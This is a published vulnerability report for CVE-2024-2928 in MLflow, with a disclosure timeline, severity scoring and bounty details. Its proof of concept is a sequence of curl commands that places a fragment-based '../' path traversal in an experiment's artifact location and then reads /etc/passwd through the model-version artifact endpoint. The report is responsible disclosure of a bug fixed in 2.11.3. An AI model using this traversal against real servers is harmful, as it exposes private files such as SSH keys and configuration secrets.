

# Local File Read (LFI) by URI fragment parsing confusion in mlflow/mlflow

✓ Valid

Reported on Dec 29th 2023

## Description

This is a new bypass to the patch of the previous [Local File Read \(LFI\) due to URI parsing confusion](#), which only validate `../` in the URI's query string part. We can find a new way for the same LFI by using the fragment part in the URI, which also allows attackers to read arbitrary files such as `/etc/passwd` in the local file system.

## Proof of Concept

We can follow all the steps listed in the original report [Local File Read \(LFI\) due to URI parsing confusion](#), but replace the query string `?` with the fragment mark `#`

### 1, Start the mlflow web server:

```
mlflow ui --host 127.0.0.1:5000
```

### 2, Create a malicious experiment:

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc",
"artifact_location": "http:///#/../../../../../../../../../../../../../../../../etc/"}'
'http://127.0.0.1:5000/ajax-api/2.0/mlflow/experiments/create'
```

### 3, Associate a run to it:

```
curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "
{{EXPERIMENT_ID}}"}' 'http://127.0.0.1:5000/api/2.0/mlflow/runs/create'
```

### 4, Create a registered model:

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}'
'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create'
```

### 5, Link a model version to the malicious run:

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "run_id": "
{{RUN_ID}}", "source": "file:///etc/"}' 'http://127.0.0.1:5000/ajax-
api/2.0/mlflow/model-versions/create'
```

6, Read /etc/passwd:

```
curl 'http://127.0.0.1:5000/model-versions/get-artifact?
path=passwd&name=poc&version=1'
```

## Impact

The same impact as the original report that enables the reading of arbitrary local files such as, but not limited to, /etc/passwd, .ssh keys, database files, web configuration files, and any other sensitive local files, etc.

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🕒 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago



✎️ **Peng Zhou** modified the report 2 years ago



✎️ **Peng Zhou** modified the report 2 years ago

✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago



✎️ **Peng Zhou** modified the report 2 years ago



✎️ **Dan McInerney** modified the Severity from Critical (9.3) to High (7.5) 2 years ago



**Daniel Lok** commented 2 years ago

Maintainer

Is this fixed by <https://github.com/mlflow/mlflow/pull/11376>?

flow



A **mlflow/mlflow** maintainer has acknowledged this report 2 years ago



The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



**Dan McInerney** validated this vulnerability 2 years ago

Confirmed that does indeed fix it.

\$ **zpbrent** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

 CVE-2024-2928 assigned to this report. 2 years ago

  Dan McInerney marked this as fixed in 2.11.3 with commit 96f0b5 2 years ago

\$ The fix bounty has been dropped 

  Dan McInerney set the scheduled publication date to Apr 23rd 2024 UTC 2 years ago

 We have sent a warning to the **mlflow** team to inform them that this report will be published in 48 hours 2 years ago

 This vulnerability has now been published 2 years ago

 CVE-2024-2928 has now been published 2 years ago

[Sign in](#) to join this conversation

## CVE

CVE-2024-2928

Published

## Vulnerability Type

CWE-29: Path Traversal: '..\filename'

## Severity

High (7.5)

|                     |           |
|---------------------|-----------|
| Attack vector       | Network   |
| Attack complexity   | Low       |
| Privileges required | None      |
| User interaction    | None      |
| Scope               | Unchanged |
| Confidentiality     | High      |
| Integrity           | None      |
| Availability        | None      |

[Open in visual CVSS calculator](#) 

## Registry

Pypi

## Affected Version

2.9.2

## Visibility

Public

## Status

Fixed

## Disclosure Bounty

\$750

Fix Bounty  
\$187.5

Found by



Peng Zhou

@zpbrent

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)